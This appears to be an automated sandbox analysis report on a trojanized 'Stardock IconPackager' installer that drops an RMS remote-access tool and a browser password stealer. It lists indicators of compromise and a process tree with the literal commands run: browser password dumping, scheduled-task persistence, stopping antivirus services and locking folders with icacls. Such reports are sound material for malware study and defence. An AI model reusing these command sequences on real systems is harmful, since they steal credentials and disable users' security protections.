rms | 69516cc15d5538556121c418b0645c6ff58da43ffeaabba875d874520f07bd50

Analysis

max time kernel
152s
max time network
163s
platform
windows7_x64
resource
win7-20220414-en
submitted
20-05-2022 03:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

stardock_iconpackager_5.10/Stardock IconPackager 5.10.032.exe
Size

974KB
MD5

f6cd9278cb1f9fa3eb2709ef6b6f782f
SHA1

a69f07dc811c518c8165cf675b9db23461bafbb6
SHA256

af380b244306d5b1b4354f267647655e885b12506fd288ed68121aae2951217b
SHA512

01e64d742a8407a31abedde452c388c2b4fb53cbcffb141712f0ac84bf99a339acf5b6778b197db53f8acc18d2bb85c50c0c8d190be877623291c0f42dc45efe

Score

10^/10

rms aspackv2 discovery evasion persistence rat spyware stealer trojan upx

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x00070000000126e7-152.dat	acprotect
behavioral1/files/0x00070000000126c6-151.dat	acprotect

NirSoft WebBrowserPassView 4 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/files/0x000800000001340a-160.dat	WebBrowserPassView
behavioral1/files/0x000800000001340a-159.dat	WebBrowserPassView
behavioral1/files/0x000800000001340a-158.dat	WebBrowserPassView
behavioral1/files/0x000800000001340a-163.dat	WebBrowserPassView

Nirsoft 4 IoCs

resource	yara_rule
behavioral1/files/0x000800000001340a-160.dat	Nirsoft
behavioral1/files/0x000800000001340a-159.dat	Nirsoft
behavioral1/files/0x000800000001340a-158.dat	Nirsoft
behavioral1/files/0x000800000001340a-163.dat	Nirsoft

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00190000000124a3-92.dat	aspack_v212_v242
behavioral1/files/0x00190000000124a3-93.dat	aspack_v212_v242
behavioral1/files/0x00190000000124a3-95.dat	aspack_v212_v242
behavioral1/files/0x00190000000124a3-108.dat	aspack_v212_v242
behavioral1/files/0x00190000000124a3-123.dat	aspack_v212_v242
behavioral1/files/0x00190000000124a3-135.dat	aspack_v212_v242

Blocks application from running via registry modification
Adds application to list of disallowed applications.
evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe

Executes dropped EXE 13 IoCs

pid	Process
836	update.exe
952	wini.exe
268	winit.exe
1728	rutserv.exe
1536	cheat.exe
1940	rutserv.exe
924	rutserv.exe
1324	taskhost.exe
1292	rutserv.exe
1984	P.exe
1136	1.exe
1972	taskhost.exe
924	taskhostw.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000126e7-152.dat	upx
behavioral1/files/0x00070000000126c6-151.dat	upx

Loads dropped DLL 20 IoCs

pid	Process
1988	data0.bin
1988	data0.bin
1988	data0.bin
1988	data0.bin
836	update.exe
952	wini.exe
952	wini.exe
952	wini.exe
952	wini.exe
1264	cmd.exe
836	update.exe
1536	cheat.exe
1536	cheat.exe
1536	cheat.exe
1536	cheat.exe
1324	taskhost.exe
2004	cmd.exe
2004	cmd.exe
1348	taskeng.exe
1348	taskeng.exe

Modifies file permissions 1 TTPs 37 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
556	icacls.exe
820	icacls.exe
460	icacls.exe
516	icacls.exe
1796	icacls.exe
1756	icacls.exe
1444	icacls.exe
460	icacls.exe
1764	icacls.exe
272	icacls.exe
980	icacls.exe
1772	icacls.exe
1972	icacls.exe
1236	icacls.exe
1156	icacls.exe
768	icacls.exe
1580	icacls.exe
380	icacls.exe
872	icacls.exe
1096	icacls.exe
1272	icacls.exe
820	icacls.exe
2012	icacls.exe
1700	icacls.exe
1472	icacls.exe
1680	icacls.exe
432	icacls.exe
1268	icacls.exe
432	icacls.exe
1568	icacls.exe
1712	icacls.exe
1056	icacls.exe
964	icacls.exe
924	icacls.exe
460	icacls.exe
1604	icacls.exe
1764	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Modifies WinLogon 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	update.exe

AutoIT Executable 24 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000b000000012309-59.dat	autoit_exe
behavioral1/files/0x000b000000012309-62.dat	autoit_exe
behavioral1/files/0x000b000000012309-61.dat	autoit_exe
behavioral1/files/0x000b000000012309-60.dat	autoit_exe
behavioral1/files/0x000b000000012309-64.dat	autoit_exe
behavioral1/files/0x000b000000012309-66.dat	autoit_exe
behavioral1/files/0x0007000000012699-76.dat	autoit_exe
behavioral1/files/0x0007000000012699-75.dat	autoit_exe
behavioral1/files/0x0007000000012699-74.dat	autoit_exe
behavioral1/files/0x0007000000012699-73.dat	autoit_exe
behavioral1/files/0x0007000000012699-78.dat	autoit_exe
behavioral1/files/0x0007000000012699-81.dat	autoit_exe
behavioral1/files/0x000700000001330c-116.dat	autoit_exe
behavioral1/files/0x000700000001330c-118.dat	autoit_exe
behavioral1/files/0x000700000001330c-120.dat	autoit_exe
behavioral1/files/0x000700000001330c-119.dat	autoit_exe
behavioral1/files/0x000700000001330c-125.dat	autoit_exe
behavioral1/files/0x000700000001330c-132.dat	autoit_exe
behavioral1/files/0x00070000000133a4-212.dat	autoit_exe
behavioral1/files/0x00070000000133a4-213.dat	autoit_exe
behavioral1/files/0x00070000000133a4-216.dat	autoit_exe
behavioral1/files/0x00060000000142fb-217.dat	autoit_exe
behavioral1/files/0x00060000000142fb-218.dat	autoit_exe
behavioral1/files/0x00060000000142fb-220.dat	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\winmgmts:\localhost\root\CIMV2	taskhost.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft JDX	update.exe
File created	C:\Program Files\Common Files\System\iediagcmd.exe	update.exe
File opened for modification	C:\Program Files\ByteFence	update.exe
File opened for modification	C:\Program Files (x86)\SpyHunter	update.exe
File opened for modification	C:\Program Files\Enigma Software Group	update.exe
File opened for modification	C:\Program Files (x86)\AVG	update.exe
File opened for modification	C:\Program Files (x86)\360	update.exe
File opened for modification	C:\Program Files\Malwarebytes	update.exe
File opened for modification	C:\Program Files\COMODO	update.exe
File opened for modification	C:\Program Files\SpyHunter	update.exe
File opened for modification	C:\Program Files\AVAST Software	update.exe
File opened for modification	C:\Program Files (x86)\AVAST Software	update.exe
File opened for modification	C:\Program Files\AVG	update.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	winit.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	winit.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2028	schtasks.exe
1348	schtasks.exe
904	schtasks.exe
872	schtasks.exe
272	schtasks.exe
1168	schtasks.exe
556	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1092	timeout.exe
2012	timeout.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database	winit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset	winit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage	winit.exe

Runs .reg file with regedit 2 IoCs

pid	Process
928	regedit.exe
1680	regedit.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

pid	Process
836	update.exe
836	update.exe
836	update.exe
836	update.exe
836	update.exe
1728	rutserv.exe
1728	rutserv.exe
1728	rutserv.exe
1728	rutserv.exe
1940	rutserv.exe
1940	rutserv.exe
924	rutserv.exe
924	rutserv.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
268	winit.exe
1292	rutserv.exe
1292	rutserv.exe
1292	rutserv.exe
1292	rutserv.exe
1292	rutserv.exe
1292	rutserv.exe
1136	1.exe
1136	1.exe
1136	1.exe
1136	1.exe
1136	1.exe
1324	taskhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1728	rutserv.exe
Token: SeDebugPrivilege	924	rutserv.exe
Token: SeTakeOwnershipPrivilege	1292	rutserv.exe
Token: SeTcbPrivilege	1292	rutserv.exe
Token: SeTcbPrivilege	1292	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1728	rutserv.exe
1940	rutserv.exe
924	rutserv.exe
1292	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 380 wrote to memory of 1988	380	Stardock IconPackager 5.10.032.exe	28
PID 380 wrote to memory of 1988	380	Stardock IconPackager 5.10.032.exe	28
PID 380 wrote to memory of 1988	380	Stardock IconPackager 5.10.032.exe	28
PID 380 wrote to memory of 1988	380	Stardock IconPackager 5.10.032.exe	28
PID 380 wrote to memory of 796	380	Stardock IconPackager 5.10.032.exe	29
PID 380 wrote to memory of 796	380	Stardock IconPackager 5.10.032.exe	29
PID 380 wrote to memory of 796	380	Stardock IconPackager 5.10.032.exe	29
PID 380 wrote to memory of 796	380	Stardock IconPackager 5.10.032.exe	29
PID 1988 wrote to memory of 836	1988	data0.bin	30
PID 1988 wrote to memory of 836	1988	data0.bin	30
PID 1988 wrote to memory of 836	1988	data0.bin	30
PID 1988 wrote to memory of 836	1988	data0.bin	30
PID 1988 wrote to memory of 836	1988	data0.bin	30
PID 1988 wrote to memory of 836	1988	data0.bin	30
PID 1988 wrote to memory of 836	1988	data0.bin	30
PID 836 wrote to memory of 952	836	update.exe	31
PID 836 wrote to memory of 952	836	update.exe	31
PID 836 wrote to memory of 952	836	update.exe	31
PID 836 wrote to memory of 952	836	update.exe	31
PID 952 wrote to memory of 1816	952	wini.exe	32
PID 952 wrote to memory of 1816	952	wini.exe	32
PID 952 wrote to memory of 1816	952	wini.exe	32
PID 952 wrote to memory of 1816	952	wini.exe	32
PID 952 wrote to memory of 268	952	wini.exe	33
PID 952 wrote to memory of 268	952	wini.exe	33
PID 952 wrote to memory of 268	952	wini.exe	33
PID 952 wrote to memory of 268	952	wini.exe	33
PID 1816 wrote to memory of 1264	1816	WScript.exe	34
PID 1816 wrote to memory of 1264	1816	WScript.exe	34
PID 1816 wrote to memory of 1264	1816	WScript.exe	34
PID 1816 wrote to memory of 1264	1816	WScript.exe	34
PID 1816 wrote to memory of 1264	1816	WScript.exe	34
PID 1816 wrote to memory of 1264	1816	WScript.exe	34
PID 1816 wrote to memory of 1264	1816	WScript.exe	34
PID 1264 wrote to memory of 928	1264	cmd.exe	36
PID 1264 wrote to memory of 928	1264	cmd.exe	36
PID 1264 wrote to memory of 928	1264	cmd.exe	36
PID 1264 wrote to memory of 928	1264	cmd.exe	36
PID 1264 wrote to memory of 1680	1264	cmd.exe	37
PID 1264 wrote to memory of 1680	1264	cmd.exe	37
PID 1264 wrote to memory of 1680	1264	cmd.exe	37
PID 1264 wrote to memory of 1680	1264	cmd.exe	37
PID 1264 wrote to memory of 1092	1264	cmd.exe	38
PID 1264 wrote to memory of 1092	1264	cmd.exe	38
PID 1264 wrote to memory of 1092	1264	cmd.exe	38
PID 1264 wrote to memory of 1092	1264	cmd.exe	38
PID 1264 wrote to memory of 1728	1264	cmd.exe	39
PID 1264 wrote to memory of 1728	1264	cmd.exe	39
PID 1264 wrote to memory of 1728	1264	cmd.exe	39
PID 1264 wrote to memory of 1728	1264	cmd.exe	39
PID 836 wrote to memory of 1536	836	update.exe	40
PID 836 wrote to memory of 1536	836	update.exe	40
PID 836 wrote to memory of 1536	836	update.exe	40
PID 836 wrote to memory of 1536	836	update.exe	40
PID 1264 wrote to memory of 1940	1264	cmd.exe	41
PID 1264 wrote to memory of 1940	1264	cmd.exe	41
PID 1264 wrote to memory of 1940	1264	cmd.exe	41
PID 1264 wrote to memory of 1940	1264	cmd.exe	41
PID 1536 wrote to memory of 1324	1536	cheat.exe	42
PID 1536 wrote to memory of 1324	1536	cheat.exe	42
PID 1536 wrote to memory of 1324	1536	cheat.exe	42
PID 1536 wrote to memory of 1324	1536	cheat.exe	42
PID 1264 wrote to memory of 924	1264	cmd.exe	43
PID 1264 wrote to memory of 924	1264	cmd.exe	43

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1652	attrib.exe
1832	attrib.exe

C:\Users\Admin\AppData\Local\Temp\stardock_iconpackager_5.10\Stardock IconPackager 5.10.032.exe
"C:\Users\Admin\AppData\Local\Temp\stardock_iconpackager_5.10\Stardock IconPackager 5.10.032.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:380
- C:\Users\Admin\AppData\Local\Temp\stardock_iconpackager_5.10\data0.bin
  C:\Users\Admin\AppData\Local\Temp\stardock_iconpackager_5.10\data0.bin -ptoptorrent
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\ProgramData\Setup\update.exe
    "C:\ProgramData\Setup\update.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies WinLogon
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:836
  - - C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:952
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1816
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Programdata\Windows\install.bat" "
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1264
        
        C:\Windows\SysWOW64\regedit.exe
        
        regedit /s "reg1.reg"
        7⤵
        Runs .reg file with regedit
        
        PID:928
        
        C:\Windows\SysWOW64\regedit.exe
        
        regedit /s "reg2.reg"
        7⤵
        Runs .reg file with regedit
        
        PID:1680
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 2
        7⤵
        Delays execution with timeout.exe
        
        PID:1092
        
        C:\ProgramData\Windows\rutserv.exe
        
        rutserv.exe /silentinstall
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1728
        
        C:\ProgramData\Windows\rutserv.exe
        
        rutserv.exe /firewall
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1940
        
        C:\ProgramData\Windows\rutserv.exe
        
        rutserv.exe /start
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:924
        
        C:\Windows\SysWOW64\attrib.exe
        
        ATTRIB +H +S C:\Programdata\Windows\*.*
        7⤵
        Views/modifies file attributes
        
        PID:1652
        
        C:\Windows\SysWOW64\sc.exe
        
        sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
        7⤵
        
        PID:956
        
        C:\Windows\SysWOW64\attrib.exe
        
        ATTRIB +H +S C:\Programdata\Windows
        7⤵
        Views/modifies file attributes
        
        PID:1832
        
        C:\Windows\SysWOW64\sc.exe
        
        sc config RManService obj= LocalSystem type= interact type= own
        7⤵
        
        PID:1004
        
        C:\Windows\SysWOW64\sc.exe
        
        sc config RManService DisplayName= "Microsoft Framework"
        7⤵
        
        PID:1604
    - - C:\ProgramData\Windows\winit.exe
        
        "C:\ProgramData\Windows\winit.exe"
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:268
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c C:\Programdata\Install\del.bat
        6⤵
        
        PID:556
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 5
        7⤵
        Delays execution with timeout.exe
        
        PID:2012
  - - C:\programdata\install\cheat.exe
      C:\programdata\install\cheat.exe -pnaxui
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1536
    - - C:\ProgramData\Microsoft\Intel\taskhost.exe
        
        "C:\ProgramData\Microsoft\Intel\taskhost.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1324
      - C:\programdata\microsoft\intel\P.exe
        
        C:\programdata\microsoft\intel\P.exe
        6⤵
        Executes dropped EXE
        
        PID:1984
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Programdata\Microsoft\rootsystem\P.vbs"
        7⤵
        
        PID:1156
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Programdata\Microsoft\rootsystem\1.exe /LoadPasswordsIE=1 /LoadPasswordsFirefox=1 /LoadPasswordsChrome=1 /LoadPasswordsOpera=1 /LoadPasswordsSafari=1 /LoadPasswordsSeaMonkey=1 /LoadPasswordsYandex=1 /stext Log.txt
        8⤵
        Loads dropped DLL
        
        PID:2004
        
        C:\Programdata\Microsoft\rootsystem\1.exe
        
        C:\Programdata\Microsoft\rootsystem\1.exe /LoadPasswordsIE=1 /LoadPasswordsFirefox=1 /LoadPasswordsChrome=1 /LoadPasswordsOpera=1 /LoadPasswordsSafari=1 /LoadPasswordsSeaMonkey=1 /LoadPasswordsYandex=1 /stext Log.txt
        9⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1136
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c C:\programdata\microsoft\temp\H.bat
        6⤵
        Drops file in Drivers directory
        
        PID:1656
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:272
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:1168
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:556
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2028
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1348
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Taskhost" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start appidsvc
      4⤵
      PID:896
    - - C:\Windows\SysWOW64\sc.exe
        
        sc start appidsvc
        5⤵
        
        PID:956
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Taskhostw" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 2 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc start appmgmt
      4⤵
      PID:1972
    - - C:\Windows\SysWOW64\sc.exe
        
        sc start appmgmt
        5⤵
        
        PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
      4⤵
      PID:840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
      4⤵
      PID:768
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config appmgmt start= auto
        5⤵
        
        PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete swprv
      4⤵
      PID:392
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete swprv
        5⤵
        
        PID:2028
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop mbamservice
      4⤵
      PID:940
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop mbamservice
        5⤵
        
        PID:1652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
      4⤵
      PID:1948
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop bytefenceservice
        5⤵
        
        PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
      4⤵
      PID:1480
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete bytefenceservice
        5⤵
        
        PID:872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete mbamservice
      4⤵
      PID:1684
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete mbamservice
        5⤵
        
        PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete crmsvc
      4⤵
      PID:1764
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete crmsvc
        5⤵
        
        PID:1320
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
      4⤵
      PID:948
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state on
        5⤵
        
        PID:1652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
      4⤵
      PID:1348
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
        5⤵
        
        PID:852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
      4⤵
      PID:800
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
        5⤵
        
        PID:2040
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
      4⤵
      PID:1096
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
        5⤵
        
        PID:1272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
      4⤵
      PID:572
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
        5⤵
        
        PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:556
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
      4⤵
      PID:1152
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1576
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
      4⤵
      PID:764
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
      4⤵
      PID:1500
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1764
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
      4⤵
      PID:1268
    - - C:\Windows\SysWOW64\icacls.exe
        
